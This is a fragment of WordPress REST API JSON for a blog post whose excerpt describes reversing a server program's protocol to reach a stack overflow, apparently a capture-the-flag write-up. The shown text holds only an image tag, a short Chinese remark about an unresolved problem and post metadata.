decoding=\"async\" width=\"1024\" height=\"121\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/Y_Q@W_BGXLV2J1JILX-1024x121.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-730\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e0d\u77e5\u9053\u662f\u4e0d\u662f\u53ea\u6709\u6211\u6709\u8fd9\u4e2a\u95ee\u9898\uff0c\u6709\u65f6\u95f4\u89e3\u51b3\u4e86\u518d\u66f4\u65b0\u5427<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6982\u8ff0 \u7ed9\u5b9aserver\u7a0b\u5e8f\uff0c\u9700\u8981\u9006\u5411\u7834\u89e3server\u7684\u901a\u4fe1\u534f\u8bae\uff0c\u8f93\u5165\u6570\u636e\u6ee1\u8db3\u4e00\u5b9a\u6761\u4ef6\u540e\u624d\u53ef\u89e6\u53d1\u6808\u6ea2\u51fa\u6f0f\u6d1e\u3002 \u7a0b [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21],"tags":[23],"class_list":["post-686","post","type-post","status-publish","format-standard","hentry","category-21","tag-23"],"_links":{"self":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/686","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/comments?post=686"}],"version-history":[{"count":20,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/686\/revisions"}],"predecessor-version":[{"id":752,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/686\/revisions\/752"}],"wp:attachment":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/media?parent=686"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/categories?post=686"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/tags?post=686"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}